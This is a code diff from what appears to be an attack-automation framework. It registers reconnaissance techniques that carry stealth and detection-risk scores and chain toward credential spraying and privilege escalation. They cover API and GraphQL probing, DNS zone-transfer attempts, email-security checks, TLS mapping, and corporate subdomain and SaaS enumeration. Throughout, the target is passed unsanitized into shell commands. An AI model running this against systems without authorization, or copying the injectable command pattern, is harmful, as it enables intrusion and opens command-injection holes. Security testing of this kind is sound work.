+ return { success: artifacts.length > 0, output: { metadata_found: artifacts.length }, artifacts, nextTechniques: ['credential_harvest', 'privesc'], detectionRisk: 0.5, duration: Date.now() - start };
1961
+ },
1962
+ });
1963
+ // API Endpoint Discovery - Real REST/GraphQL probing
1964
+ techniqueRegistry.register({
1965
+ id: 'api_discovery',
1966
+ name: 'API Endpoint Discovery',
1967
+ category: 'enumeration',
1968
+ phase: 'weaponization',
1969
+ prerequisites: [],
1970
+ conflictsWith: [],
1971
+ stealthRating: 0.7,
1972
+ successBaseline: 0.75,
1973
+ timeEstimate: 45000,
1974
+ execute: async (params) => {
1975
+ const start = Date.now();
1976
+ const target = params.target.startsWith('http') ? params.target : `https://${params.target}`;
1977
+ const artifacts = [];
1978
+ // Common API paths
1979
+ const apiPaths = params.depth === 'quick'
1980
+ ? ['/api', '/api/v1', '/graphql', '/swagger.json']
1981
+ : ['/api', '/api/v1', '/api/v2', '/v1', '/v2', '/graphql', '/graphiql',
1982
+ '/swagger.json', '/swagger/v1/swagger.json', '/openapi.json', '/api-docs',
1983
+ '/api/docs', '/.well-known/openapi.json', '/rest', '/rpc', '/ws', '/socket.io'];
1984
+ for (const path of apiPaths) {
1985
+ try {
1986
+ const probe = await httpProbe(`${target}${path}`, 3000);
1987
+ if (probe.status < 400 || probe.status === 401 || probe.status === 403) {
1988
+ artifacts.push({ type: 'api_endpoint', data: `${path} - HTTP ${probe.status}` });
1989
+ }
1990
+ }
1991
+ catch { /* ignore */ }
1992
+ }
1993
+ // Try GraphQL introspection
1994
+ try {
1995
+ const { stdout } = await execAsync(`curl -s -X POST -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}' "${target}/graphql" --connect-timeout 5`, { timeout: 10000 });
1996
+ if (stdout.includes('__schema') || stdout.includes('types')) {
1997
+ artifacts.push({ type: 'graphql_introspection', data: 'GraphQL introspection enabled!' });
1998
+ const types = stdout.match(/"name":"(\w+)"/g)?.slice(0, 10);
1999
+ if (types)
2000
+ artifacts.push({ type: 'graphql_types', data: types.join(', ') });
2001
+ }
2002
+ }
2003
+ catch { /* ignore */ }
2004
+ return { success: artifacts.length > 0, output: { endpoints_found: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'credential_spray'], detectionRisk: 0.35, duration: Date.now() - start };
2005
+ },
2006
+ });
2007
+ // Technology Stack Fingerprint - Real tech detection
2008
+ techniqueRegistry.register({
2009
+ id: 'tech_fingerprint',
2010
+ name: 'Technology Stack Fingerprint',
2011
+ category: 'recon',
2012
+ phase: 'reconnaissance',
2013
+ prerequisites: [],
2014
+ conflictsWith: [],
2015
+ stealthRating: 0.9,
2016
+ successBaseline: 0.85,
2017
+ timeEstimate: 20000,
2018
+ execute: async (params) => {
2019
+ const start = Date.now();
2020
+ const url = params.target.startsWith('http') ? params.target : `https://${params.target}`;
2021
+ const artifacts = [];
2022
+ try {
2023
+ const probe = await httpProbe(url, 5000);
2024
+ // Server header
2025
+ if (probe.server)
2026
+ artifacts.push({ type: 'server', data: probe.server });
2027
+ // X-Powered-By
2028
+ if (probe.headers['x-powered-by'])
2029
+ artifacts.push({ type: 'framework', data: probe.headers['x-powered-by'] });
2030
+ // Detect from headers
2031
+ if (probe.headers['x-aspnet-version'])
2032
+ artifacts.push({ type: 'tech', data: `ASP.NET ${probe.headers['x-aspnet-version']}` });
2033
+ if (probe.headers['x-drupal-cache'])
2034
+ artifacts.push({ type: 'cms', data: 'Drupal' });
2035
+ if (probe.headers['x-generator']?.includes('WordPress'))
2036
+ artifacts.push({ type: 'cms', data: 'WordPress' });
2037
+ if (probe.headers['x-shopify-stage'])
2038
+ artifacts.push({ type: 'platform', data: 'Shopify' });
2039
+ // Security headers analysis
2040
+ if (probe.headers['content-security-policy'])
2041
+ artifacts.push({ type: 'security', data: 'CSP enabled' });
2042
+ if (probe.headers['x-xss-protection'])
2043
+ artifacts.push({ type: 'security', data: 'XSS protection header' });
2044
+ // Try to fetch page and detect tech
2045
+ const { stdout } = await execAsync(`curl -s -L "${url}" --connect-timeout 5 | head -200`, { timeout: 10000 });
2046
+ if (stdout.includes('wp-content'))
2047
+ artifacts.push({ type: 'cms', data: 'WordPress (detected in HTML)' });
2048
+ if (stdout.includes('react'))
2049
+ artifacts.push({ type: 'frontend', data: 'React' });
2050
+ if (stdout.includes('vue'))
2051
+ artifacts.push({ type: 'frontend', data: 'Vue.js' });
2052
+ if (stdout.includes('angular'))
2053
+ artifacts.push({ type: 'frontend', data: 'Angular' });
2054
+ if (stdout.includes('next'))
2055
+ artifacts.push({ type: 'frontend', data: 'Next.js' });
2056
+ if (stdout.includes('jquery'))
2057
+ artifacts.push({ type: 'library', data: 'jQuery' });
2058
+ if (stdout.includes('bootstrap'))
2059
+ artifacts.push({ type: 'library', data: 'Bootstrap' });
2060
+ // Google-specific detection
2061
+ if (stdout.includes('google') || stdout.includes('googleapis'))
2062
+ artifacts.push({ type: 'integration', data: 'Google APIs' });
2063
+ if (stdout.includes('firebase'))
2064
+ artifacts.push({ type: 'backend', data: 'Firebase' });
2065
+ if (stdout.includes('gstatic'))
2066
+ artifacts.push({ type: 'cdn', data: 'Google Static' });
2067
+ }
2068
+ catch { /* ignore */ }
2069
+ return { success: artifacts.length > 0, output: { technologies: artifacts.length }, artifacts, nextTechniques: ['vuln_scan', 'api_discovery'], detectionRisk: 0.1, duration: Date.now() - start };
2070
+ },
2071
+ });
2072
+ // Certificate Transparency Log Search - Real CT log query
2073
+ techniqueRegistry.register({
2074
+ id: 'ct_search',
2075
+ name: 'Certificate Transparency Search',
2076
+ category: 'recon',
2077
+ phase: 'reconnaissance',
2078
+ prerequisites: [],
2079
+ conflictsWith: [],
2080
+ stealthRating: 0.98,
2081
+ successBaseline: 0.8,
2082
+ timeEstimate: 20000,
2083
+ execute: async (params) => {
2084
+ const start = Date.now();
2085
+ const target = params.target;
2086
+ const artifacts = [];
2087
+ // Query crt.sh for certificate transparency data
2088
+ try {
2089
+ const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=%25.${target}&output=json" --connect-timeout 10 | head -5000`, { timeout: 20000 });
2090
+ if (stdout && stdout.startsWith('[')) {
2091
+ const certs = JSON.parse(stdout);
2092
+ const domains = new Set();
2093
+ for (const cert of certs.slice(0, 50)) {
2094
+ if (cert.name_value) {
2095
+ cert.name_value.split('\n').forEach(d => domains.add(d.trim()));
2096
+ }
2097
+ }
2098
+ const uniqueDomains = Array.from(domains).filter(d => d.includes(target));
2099
+ artifacts.push({ type: 'ct_domains_count', data: `${uniqueDomains.length} unique domains found` });
2100
+ uniqueDomains.slice(0, 20).forEach(d => artifacts.push({ type: 'ct_domain', data: d }));
2101
+ }
2102
+ }
2103
+ catch { /* crt.sh unavailable or rate limited */ }
2104
+ return { success: artifacts.length > 0, output: { ct_records: artifacts.length }, artifacts, nextTechniques: ['subdomain_enum', 'dns_enum'], detectionRisk: 0.02, duration: Date.now() - start };
2105
+ },
2106
+ });
2107
+ // DNS Zone Transfer - Real AXFR attempt
2108
+ techniqueRegistry.register({
2109
+ id: 'dns_zone_transfer',
2110
+ name: 'DNS Zone Transfer',
2111
+ category: 'recon',
2112
+ phase: 'reconnaissance',
2113
+ prerequisites: [],
2114
+ conflictsWith: [],
2115
+ stealthRating: 0.5,
2116
+ successBaseline: 0.15,
2117
+ timeEstimate: 30000,
2118
+ execute: async (params) => {
2119
+ const start = Date.now();
2120
+ const target = params.target;
2121
+ const artifacts = [];
2122
+ try {
2123
+ // Get NS records first
2124
+ const nsRecords = await dns.resolveNs(target).catch(() => []);
2125
+ for (const ns of nsRecords.slice(0, 3)) {
2126
+ try {
2127
+ const { stdout } = await execAsync(`dig @${ns} ${target} AXFR +short 2>/dev/null | head -30`, { timeout: 15000 });
2128
+ if (stdout.trim() && !stdout.includes('Transfer failed')) {
2129
+ artifacts.push({ type: 'zone_transfer', data: `AXFR successful via ${ns}!` });
2130
+ const records = stdout.split('\n').filter(l => l.trim()).slice(0, 15);
2131
+ records.forEach(r => artifacts.push({ type: 'zone_record', data: r }));
2132
+ }
2133
+ }
2134
+ catch { /* AXFR blocked as expected */ }
2135
+ }
2136
+ }
2137
+ catch { /* ignore */ }
2138
+ return { success: artifacts.length > 0, output: { zone_transfer: artifacts.length > 0 }, artifacts, nextTechniques: ['subdomain_enum', 'port_scan'], detectionRisk: 0.6, duration: Date.now() - start };
2139
+ },
2140
+ });
2141
+ // Email Security Check - Real SPF/DKIM/DMARC analysis
2142
+ techniqueRegistry.register({
2143
+ id: 'email_security',
2144
+ name: 'Email Security Check',
2145
+ category: 'recon',
2146
+ phase: 'reconnaissance',
2147
+ prerequisites: [],
2148
+ conflictsWith: [],
2149
+ stealthRating: 0.95,
2150
+ successBaseline: 0.9,
2151
+ timeEstimate: 15000,
2152
+ execute: async (params) => {
2153
+ const start = Date.now();
2154
+ const target = params.target;
2155
+ const artifacts = [];
2156
+ // SPF record
2157
+ try {
2158
+ const txt = await dns.resolveTxt(target);
2159
+ const spf = txt.flat().find(r => r.includes('v=spf1'));
2160
+ if (spf) {
2161
+ artifacts.push({ type: 'spf', data: spf.slice(0, 150) });
2162
+ if (spf.includes('~all'))
2163
+ artifacts.push({ type: 'spf_policy', data: 'softfail (~all) - weak' });
2164
+ if (spf.includes('-all'))
2165
+ artifacts.push({ type: 'spf_policy', data: 'hardfail (-all) - strict' });
2166
+ if (spf.includes('+all') || spf.includes('?all'))
2167
+ artifacts.push({ type: 'spf_weak', data: 'WARNING: SPF too permissive!' });
2168
+ }
2169
+ else {
2170
+ artifacts.push({ type: 'spf_missing', data: 'No SPF record found' });
2171
+ }
2172
+ }
2173
+ catch {
2174
+ artifacts.push({ type: 'spf_error', data: 'Failed to query SPF' });
2175
+ }
2176
+ // DMARC record
2177
+ try {
2178
+ const dmarc = await dns.resolveTxt(`_dmarc.${target}`);
2179
+ const dmarcRecord = dmarc.flat().find(r => r.includes('v=DMARC1'));
2180
+ if (dmarcRecord) {
2181
+ artifacts.push({ type: 'dmarc', data: dmarcRecord.slice(0, 150) });
2182
+ if (dmarcRecord.includes('p=none'))
2183
+ artifacts.push({ type: 'dmarc_policy', data: 'policy=none - monitoring only' });
2184
+ if (dmarcRecord.includes('p=quarantine'))
2185
+ artifacts.push({ type: 'dmarc_policy', data: 'policy=quarantine' });
2186
+ if (dmarcRecord.includes('p=reject'))
2187
+ artifacts.push({ type: 'dmarc_policy', data: 'policy=reject - strict' });
2188
+ }
2189
+ else {
2190
+ artifacts.push({ type: 'dmarc_missing', data: 'No DMARC record found' });
2191
+ }
2192
+ }
2193
+ catch {
2194
+ artifacts.push({ type: 'dmarc_missing', data: 'No DMARC record' });
2195
+ }
2196
+ // DKIM selector guessing
2197
+ const selectors = ['default', 'google', 'selector1', 'selector2', 'k1', 's1', 'dkim'];
2198
+ for (const sel of selectors.slice(0, 4)) {
2199
+ try {
2200
+ const dkim = await dns.resolveTxt(`${sel}._domainkey.${target}`);
2201
+ if (dkim.length > 0) {
2202
+ artifacts.push({ type: 'dkim', data: `${sel}._domainkey - found` });
2203
+ break;
2204
+ }
2205
+ }
2206
+ catch { /* selector not found */ }
2207
+ }
2208
+ return { success: artifacts.length > 0, output: { email_security: artifacts.length }, artifacts, nextTechniques: ['credential_spray'], detectionRisk: 0.05, duration: Date.now() - start };
2209
+ },
2210
+ });
2211
+ }
2212
+ // Enterprise Stack Mapping & Cryptographic Fingerprinting
2213
+ function registerEnterpriseReconTechniques() {
2214
+ // Full Stack Cryptographic Mapping
2215
+ techniqueRegistry.register({
2216
+ id: 'crypto_map',
2217
+ name: 'Cryptographic Stack Mapping',
2218
+ category: 'recon',
2219
+ phase: 'reconnaissance',
2220
+ prerequisites: [],
2221
+ conflictsWith: [],
2222
+ stealthRating: 0.85,
2223
+ successBaseline: 0.9,
2224
+ timeEstimate: 120000,
2225
+ execute: async (params) => {
2226
+ const start = Date.now();
2227
+ const target = params.target;
2228
+ const artifacts = [];
2229
+ // SSL/TLS full chain analysis
2230
+ try {
2231
+ const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -servername ${target} -showcerts 2>/dev/null`, { timeout: 15000 });
2232
+ const certs = stdout.match(/-----BEGIN CERTIFICATE-----[\s\S]*?-----END CERTIFICATE-----/g) || [];
2233
+ artifacts.push({ type: 'cert_chain_depth', data: `${certs.length} certificates in chain` });
2234
+ for (let i = 0; i < Math.min(certs.length, 3); i++) {
2235
+ try {
2236
+ const certInfo = await execAsync(`echo '${certs[i]}' | openssl x509 -noout -fingerprint -sha256 -issuer -subject -dates 2>/dev/null`, { timeout: 5000 });
2237
+ artifacts.push({ type: `cert_${i}_fingerprint`, data: certInfo.stdout.trim().slice(0, 300) });
2238
+ }
2239
+ catch { /* ignore */ }
2240
+ }
2241
+ }
2242
+ catch { /* ignore */ }
2243
+ // TLS version and cipher enumeration
2244
+ for (const ver of ['tls1', 'tls1_1', 'tls1_2', 'tls1_3']) {
2245
+ try {
2246
+ const { stdout } = await execAsync(`echo | openssl s_client -connect ${target}:443 -${ver} 2>/dev/null | grep -E "Protocol|Cipher"`, { timeout: 8000 });
2247
+ if (stdout.trim() && !stdout.includes('error'))
2248
+ artifacts.push({ type: `tls_${ver}`, data: stdout.trim() });
2249
+ }
2250
+ catch { /* version not supported */ }
2251
+ }
2252
+ // HSTS, HPKP, security headers
2253
+ try {
2254
+ const { stdout } = await execAsync(`curl -sI https://${target} --connect-timeout 5 | grep -iE "strict-transport|public-key-pins|content-security|x-frame|x-xss|x-content-type"`, { timeout: 10000 });
2255
+ if (stdout.trim())
2256
+ artifacts.push({ type: 'security_headers', data: stdout.trim() });
2257
+ }
2258
+ catch { /* ignore */ }
2259
+ // Certificate transparency logs
2260
+ try {
2261
+ const { stdout } = await execAsync(`curl -s "https://crt.sh/?q=${target}&output=json" --connect-timeout 10 | head -c 2000`, { timeout: 15000 });
2262
+ if (stdout.trim() && stdout.startsWith('[')) {
2263
+ const count = (stdout.match(/"id":/g) || []).length;
2264
+ artifacts.push({ type: 'ct_log_entries', data: `${count}+ certificates logged` });
2265
+ }
2266
+ }
2267
+ catch { /* ignore */ }
2268
+ // DNSSEC validation
2269
+ try {
2270
+ const { stdout } = await execAsync(`dig +dnssec ${target} 2>/dev/null | grep -E "RRSIG|DNSKEY|DS"`, { timeout: 10000 });
2271
+ if (stdout.trim())
2272
+ artifacts.push({ type: 'dnssec', data: 'DNSSEC enabled' });
2273
+ }
2274
+ catch { /* ignore */ }
2275
+ return { success: artifacts.length > 0, output: { crypto_data: artifacts.length }, artifacts, nextTechniques: ['product_enum', 'stack_fingerprint'], detectionRisk: 0.1, duration: Date.now() - start };
2276
+ },
2277
+ });
2278
+ // Product & Service Enumeration
2279
+ techniqueRegistry.register({
2280
+ id: 'product_enum',
2281
+ name: 'Product & Service Enumeration',
2282
+ category: 'recon',
2283
+ phase: 'reconnaissance',
2284
+ prerequisites: [],
2285
+ conflictsWith: [],
2286
+ stealthRating: 0.8,
2287
+ successBaseline: 0.85,
2288
+ timeEstimate: 90000,
2289
+ execute: async (params) => {
2290
+ const start = Date.now();
2291
+ const target = params.target;
2292
+ const artifacts = [];
2293
+ // Common product endpoints
2294
+ const productEndpoints = [
2295
+ '/products', '/services', '/solutions', '/platforms', '/apps',
2296
+ '/developers', '/developer', '/api', '/apis', '/docs', '/documentation',
2297
+ '/cloud', '/enterprise', '/business', '/workspace', '/suite',
2298
+ '/mobile', '/ios', '/android', '/desktop', '/web',
2299
+ '/ai', '/ml', '/machine-learning', '/analytics', '/data',
2300
+ '/security', '/identity', '/auth', '/login', '/sso',
2301
+ '/admin', '/console', '/dashboard', '/portal', '/panel',
2302
+ '/store', '/marketplace', '/apps-store', '/extensions',
2303
+ ];
2304
+ const url = `https://${target}`;
2305
+ for (const endpoint of productEndpoints) {
2306
+ try {
2307
+ const probe = await httpProbe(`${url}${endpoint}`, 3000);
2308
+ if (probe.status < 400) {
2309
+ artifacts.push({ type: 'product_endpoint', data: `${endpoint} (${probe.status})` });
2310
+ }
2311
+ }
2312
+ catch { /* ignore */ }
2313
+ }
2314
+ // Sitemap parsing
2315
+ try {
2316
+ const { stdout } = await execAsync(`curl -sL https://${target}/sitemap.xml --connect-timeout 5 | grep -oE 'https?://[^<"]+' | head -50`, { timeout: 15000 });
2317
+ if (stdout.trim()) {
2318
+ const urls = stdout.split('\n').filter(u => u.trim());
2319
+ artifacts.push({ type: 'sitemap_urls', data: `${urls.length} URLs in sitemap` });
2320
+ // Extract product patterns
2321
+ const products = urls.filter(u => /product|service|solution|platform|app/i.test(u));
2322
+ if (products.length > 0)
2323
+ artifacts.push({ type: 'product_urls', data: products.slice(0, 10).join(', ') });
2324
+ }
2325
+ }
2326
+ catch { /* ignore */ }
2327
+ // robots.txt analysis
2328
+ try {
2329
+ const { stdout } = await execAsync(`curl -sL https://${target}/robots.txt --connect-timeout 5 | head -50`, { timeout: 10000 });
2330
+ if (stdout.trim()) {
2331
+ const disallowed = stdout.match(/Disallow:\s*(.+)/gi) || [];
2332
+ artifacts.push({ type: 'robots_disallow', data: `${disallowed.length} disallowed paths` });
2333
+ // Interesting paths often hidden
2334
+ const interesting = disallowed.filter(d => /admin|api|internal|dev|staging|test|backup|config/i.test(d));
2335
+ if (interesting.length > 0)
2336
+ artifacts.push({ type: 'hidden_paths', data: interesting.slice(0, 10).join(', ') });
2337
+ }
2338
+ }
2339
+ catch { /* ignore */ }
2340
+ return { success: artifacts.length > 0, output: { products: artifacts.length }, artifacts, nextTechniques: ['stack_fingerprint', 'corp_enum'], detectionRisk: 0.15, duration: Date.now() - start };
2341
+ },
2342
+ });
2343
+ // Full Stack Technology Fingerprinting
2344
+ techniqueRegistry.register({
2345
+ id: 'stack_fingerprint',
2346
+ name: 'Full Stack Fingerprinting',
2347
+ category: 'recon',
2348
+ phase: 'reconnaissance',
2349
+ prerequisites: [],
2350
+ conflictsWith: [],
2351
+ stealthRating: 0.75,
2352
+ successBaseline: 0.9,
2353
+ timeEstimate: 60000,
2354
+ execute: async (params) => {
2355
+ const start = Date.now();
2356
+ const target = params.target;
2357
+ const artifacts = [];
2358
+ // HTTP headers analysis
2359
+ try {
2360
+ const { stdout } = await execAsync(`curl -sI https://${target} --connect-timeout 5`, { timeout: 10000 });
2361
+ const headers = stdout.split('\n');
2362
+ for (const header of headers) {
2363
+ if (/^server:/i.test(header))
2364
+ artifacts.push({ type: 'server', data: header.trim() });
2365
+ if (/^x-powered-by:/i.test(header))
2366
+ artifacts.push({ type: 'powered_by', data: header.trim() });
2367
+ if (/^x-aspnet/i.test(header))
2368
+ artifacts.push({ type: 'aspnet', data: header.trim() });
2369
+ if (/^x-amz/i.test(header))
2370
+ artifacts.push({ type: 'aws', data: header.trim() });
2371
+ if (/^x-goog/i.test(header))
2372
+ artifacts.push({ type: 'google_cloud', data: header.trim() });
2373
+ if (/^x-azure/i.test(header))
2374
+ artifacts.push({ type: 'azure', data: header.trim() });
2375
+ if (/^x-cache/i.test(header))
2376
+ artifacts.push({ type: 'cdn_cache', data: header.trim() });
2377
+ if (/^cf-/i.test(header))
2378
+ artifacts.push({ type: 'cloudflare', data: header.trim() });
2379
+ if (/^x-vercel/i.test(header))
2380
+ artifacts.push({ type: 'vercel', data: header.trim() });
2381
+ if (/^x-netlify/i.test(header))
2382
+ artifacts.push({ type: 'netlify', data: header.trim() });
2383
+ }
2384
+ }
2385
+ catch { /* ignore */ }
2386
+ // JavaScript framework detection
2387
+ try {
2388
+ const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oE '(react|angular|vue|next|nuxt|svelte|ember|backbone|jquery)[^"]*\\.js' | head -10`, { timeout: 15000 });
2389
+ if (stdout.trim())
2390
+ artifacts.push({ type: 'js_frameworks', data: stdout.trim().replace(/\n/g, ', ') });
2391
+ }
2392
+ catch { /* ignore */ }
2393
+ // Webpack/build tool detection
2394
+ try {
2395
+ const { stdout } = await execAsync(`curl -sL https://${target} --connect-timeout 5 | grep -oE '(webpack|chunk|bundle|vendor|main)\\.[a-f0-9]+\\.js' | head -5`, { timeout: 15000 });
2396
+ if (stdout.trim())
2397
+ artifacts.push({ type: 'build_tool', data: 'Webpack/bundler detected' });
2398
+ }
2399
+ catch { /* ignore */ }
2400
+ // API technology detection
2401
+ try {
2402
+ const { stdout } = await execAsync(`curl -sL https://${target}/api --connect-timeout 5 -H "Accept: application/json" | head -c 500`, { timeout: 10000 });
2403
+ if (stdout.includes('graphql'))
2404
+ artifacts.push({ type: 'api_type', data: 'GraphQL' });
2405
+ else if (stdout.includes('"data"') || stdout.includes('"error"'))
2406
+ artifacts.push({ type: 'api_type', data: 'REST JSON' });
2407
+ }
2408
+ catch { /* ignore */ }
2409
+ // DNS-based infrastructure detection
2410
+ try {
2411
+ const { stdout } = await execAsync(`dig +short ${target} 2>/dev/null`, { timeout: 5000 });
2412
+ const ips = stdout.trim().split('\n');
2413
+ for (const ip of ips) {
2414
+ if (ip.match(/^\d+\.\d+\.\d+\.\d+$/)) {
2415
+ // Reverse lookup for provider hints
2416
+ try {
2417
+ const { stdout: rev } = await execAsync(`dig +short -x ${ip} 2>/dev/null`, { timeout: 5000 });
2418
+ if (rev.includes('google'))
2419
+ artifacts.push({ type: 'infra_provider', data: 'Google Cloud' });
2420
+ else if (rev.includes('amazon') || rev.includes('aws'))
2421
+ artifacts.push({ type: 'infra_provider', data: 'AWS' });
2422
+ else if (rev.includes('azure') || rev.includes('microsoft'))
2423
+ artifacts.push({ type: 'infra_provider', data: 'Azure' });
2424
+ else if (rev.includes('cloudflare'))
2425
+ artifacts.push({ type: 'infra_provider', data: 'Cloudflare' });
2426
+ else if (rev.includes('akamai'))
2427
+ artifacts.push({ type: 'infra_provider', data: 'Akamai' });
2428
+ else if (rev.includes('fastly'))
2429
+ artifacts.push({ type: 'infra_provider', data: 'Fastly' });
2430
+ }
2431
+ catch { /* ignore */ }
2432
+ }
2433
+ }
2434
+ }
2435
+ catch { /* ignore */ }
2436
+ return { success: artifacts.length > 0, output: { stack_data: artifacts.length }, artifacts, nextTechniques: ['corp_enum', 'api_discovery'], detectionRisk: 0.2, duration: Date.now() - start };
2437
+ },
2438
+ });
2439
+ // Corporate Infrastructure Discovery
2440
+ techniqueRegistry.register({
2441
+ id: 'corp_enum',
2442
+ name: 'Corporate Infrastructure Discovery',
2443
+ category: 'recon',
2444
+ phase: 'reconnaissance',
2445
+ prerequisites: [],
2446
+ conflictsWith: [],
2447
+ stealthRating: 0.7,
2448
+ successBaseline: 0.85,
2449
+ timeEstimate: 120000,
2450
+ execute: async (params) => {
2451
+ const start = Date.now();
2452
+ const target = params.target;
2453
+ const baseDomain = target.replace(/^www\./, '');
2454
+ const artifacts = [];
2455
+ // Corporate subdomain enumeration
2456
+ const corpSubdomains = [
2457
+ 'mail', 'email', 'smtp', 'imap', 'pop', 'exchange', 'outlook', 'webmail',
2458
+ 'vpn', 'remote', 'gateway', 'sslvpn', 'ras', 'access',
2459
+ 'sso', 'login', 'auth', 'id', 'identity', 'accounts', 'account',
2460
+ 'hr', 'people', 'careers', 'jobs', 'recruiting', 'talent',
2461
+ 'crm', 'salesforce', 'sales', 'marketing', 'hubspot',
2462
+ 'erp', 'sap', 'oracle', 'workday', 'netsuite',
2463
+ 'jira', 'confluence', 'wiki', 'docs', 'drive', 'sharepoint',
2464
+ 'git', 'github', 'gitlab', 'bitbucket', 'code', 'repo',
2465
+ 'slack', 'teams', 'zoom', 'meet', 'chat',
2466
+ 'okta', 'duo', 'ping', 'onelogin', 'auth0',
2467
+ 'splunk', 'elk', 'grafana', 'prometheus', 'datadog', 'newrelic',
2468
+ 'aws', 'gcp', 'azure', 'cloud', 'k8s', 'kubernetes',
2469
+ 'dev', 'staging', 'test', 'qa', 'uat', 'sandbox', 'demo',
2470
+ 'internal', 'intranet', 'corp', 'corporate', 'hq',
2471
+ 'admin', 'manage', 'management', 'portal', 'console',
2472
+ 'api', 'api-internal', 'api-v1', 'api-v2', 'graphql',
2473
+ 'cdn', 'static', 'assets', 'media', 'images', 'files',
2474
+ 'support', 'help', 'helpdesk', 'service', 'servicedesk', 'zendesk', 'freshdesk',
2475
+ ];
2476
+ // Parallel subdomain resolution
2477
+ const batchSize = 20;
2478
+ for (let i = 0; i < corpSubdomains.length; i += batchSize) {
2479
+ const batch = corpSubdomains.slice(i, i + batchSize);
2480
+ const results = await Promise.all(batch.map(async (sub) => {
2481
+ try {
2482
+ const ips = await dns.resolve4(`${sub}.${baseDomain}`);
2483
+ return { sub, ips, exists: true };
2484
+ }
2485
+ catch {
2486
+ return { sub, ips: [], exists: false };
2487
+ }
2488
+ }));
2489
+ for (const r of results) {
2490
+ if (r.exists)
2491
+ artifacts.push({ type: 'corp_subdomain', data: `${r.sub}.${baseDomain} -> ${r.ips.join(', ')}` });
2492
+ }
2493
+ }
2494
+ // MX records for email infrastructure
2495
+ try {
2496
+ const mx = await dns.resolveMx(baseDomain);
2497
+ for (const record of mx.slice(0, 5)) {
2498
+ artifacts.push({ type: 'mail_server', data: `${record.exchange} (priority ${record.priority})` });
2499
+ // Identify email provider
2500
+ if (record.exchange.includes('google'))
2501
+ artifacts.push({ type: 'email_provider', data: 'Google Workspace' });
2502
+ else if (record.exchange.includes('outlook') || record.exchange.includes('microsoft'))
2503
+ artifacts.push({ type: 'email_provider', data: 'Microsoft 365' });
2504
+ else if (record.exchange.includes('protonmail'))
2505
+ artifacts.push({ type: 'email_provider', data: 'ProtonMail' });
2506
+ else if (record.exchange.includes('zoho'))
2507
+ artifacts.push({ type: 'email_provider', data: 'Zoho' });
2508
+ }
2509
+ }
2510
+ catch { /* ignore */ }
2511
+ // SPF record for authorized senders
2512
+ try {
2513
+ const txt = await dns.resolveTxt(baseDomain);
2514
+ for (const record of txt) {
2515
+ const spf = record.join('');
2516
+ if (spf.includes('v=spf1')) {
2517
+ artifacts.push({ type: 'spf_record', data: spf.slice(0, 200) });
2518
+ // Extract included domains
2519
+ const includes = spf.match(/include:([^\s]+)/g) || [];
2520
+ for (const inc of includes.slice(0, 5)) {
2521
+ artifacts.push({ type: 'spf_include', data: inc });
2522
+ }
2523
+ }
2524
+ }
2525
+ }
2526
+ catch { /* ignore */ }
2527
+ // DMARC for email policy
2528
+ try {
2529
+ const dmarc = await dns.resolveTxt(`_dmarc.${baseDomain}`);
2530
+ if (dmarc[0])
2531
+ artifacts.push({ type: 'dmarc', data: dmarc[0].join('').slice(0, 150) });
2532
+ }
2533
+ catch { /* ignore */ }
2534
+ return { success: artifacts.length > 0, output: { corp_infra: artifacts.length }, artifacts, nextTechniques: ['business_sw_enum', 'saas_enum'], detectionRisk: 0.25, duration: Date.now() - start };
2535
+ },
2536
+ });
2537
+ // Business Software & SaaS Identification
2538
+ techniqueRegistry.register({
2539
+ id: 'business_sw_enum',
2540
+ name: 'Business Software Identification',
2541
+ category: 'recon',
2542
+ phase: 'reconnaissance',
2543
+ prerequisites: [],
2544
+ conflictsWith: [],
2545
+ stealthRating: 0.8,
2546
+ successBaseline: 0.8,
2547
+ timeEstimate: 90000,
2548
+ execute: async (params) => {
2549
+ const start = Date.now();
2550
+ const target = params.target;
2551
+ const baseDomain = target.replace(/^www\./, '');
2552
+ const artifacts = [];
2553
+ // SaaS vendor DNS patterns
2554
+ const saasPatterns = [
2555
+ { name: 'Salesforce', pattern: `${baseDomain.split('.')[0]}.my.salesforce.com` },
2556
+ { name: 'HubSpot', pattern: `${baseDomain.split('.')[0]}.hubspot.com` },
2557
+ { name: 'Zendesk', pattern: `${baseDomain.split('.')[0]}.zendesk.com` },
2558
+ { name: 'Atlassian', pattern: `${baseDomain.split('.')[0]}.atlassian.net` },
2559
+ { name: 'Slack', pattern: `${baseDomain.split('.')[0]}.slack.com` },
2560
+ { name: 'Monday', pattern: `${baseDomain.split('.')[0]}.monday.com` },
2561
+ { name: 'Notion', pattern: `${baseDomain.split('.')[0]}.notion.site` },
2562
+ { name: 'Airtable', pattern: `airtable.com/${baseDomain.split('.')[0]}` },
2563
+ { name: 'Asana', pattern: `app.asana.com` },
2564
+ { name: 'Workday', pattern: `${baseDomain.split('.')[0]}.workday.com` },
2565
+ { name: 'ServiceNow', pattern: `${baseDomain.split('.')[0]}.service-now.com` },
2566
+ { name: 'Okta', pattern: `${baseDomain.split('.')[0]}.okta.com` },
2567
+ { name: 'Auth0', pattern: `${baseDomain.split('.')[0]}.auth0.com` },
2568
+ { name: 'Datadog', pattern: `${baseDomain.split('.')[0]}.datadoghq.com` },
2569
+ { name: 'PagerDuty', pattern: `${baseDomain.split('.')[0]}.pagerduty.com` },
2570
+ ];
2571
+ for (const saas of saasPatterns) {
2572
+ try {
2573
+ await dns.resolve4(saas.pattern);
2574
+ artifacts.push({ type: 'saas_vendor', data: `${saas.name}: ${saas.pattern}` });
2575
+ }
2576
+ catch { /* not using this SaaS */ }
2577
+ }
2578
+ // Check common SSO/OAuth endpoints
2579
+ const ssoEndpoints = [
2580
+ '/saml', '/saml/consume', '/saml/metadata',
2581
+ '/oauth', '/oauth/authorize', '/oauth/token',
2582
+ '/openid', '/.well-known/openid-configuration',
2583
+ '/adfs', '/adfs/ls',
2584
+ '/simplesaml',
2585
+ ];
2586
+ for (const endpoint of ssoEndpoints) {
2587
+ try {
2588
+ const probe = await httpProbe(`https://${target}${endpoint}`, 3000);
2589
+ if (probe.status < 400 || probe.status === 401) {
2590
+ artifacts.push({ type: 'sso_endpoint', data: `${endpoint} (${probe.status})` });
2591
+ }
2592
+ }
2593
+ catch { /* ignore */ }
2594
+ }
2595
+ // Identify IdP from login page
2596
+ try {
2597
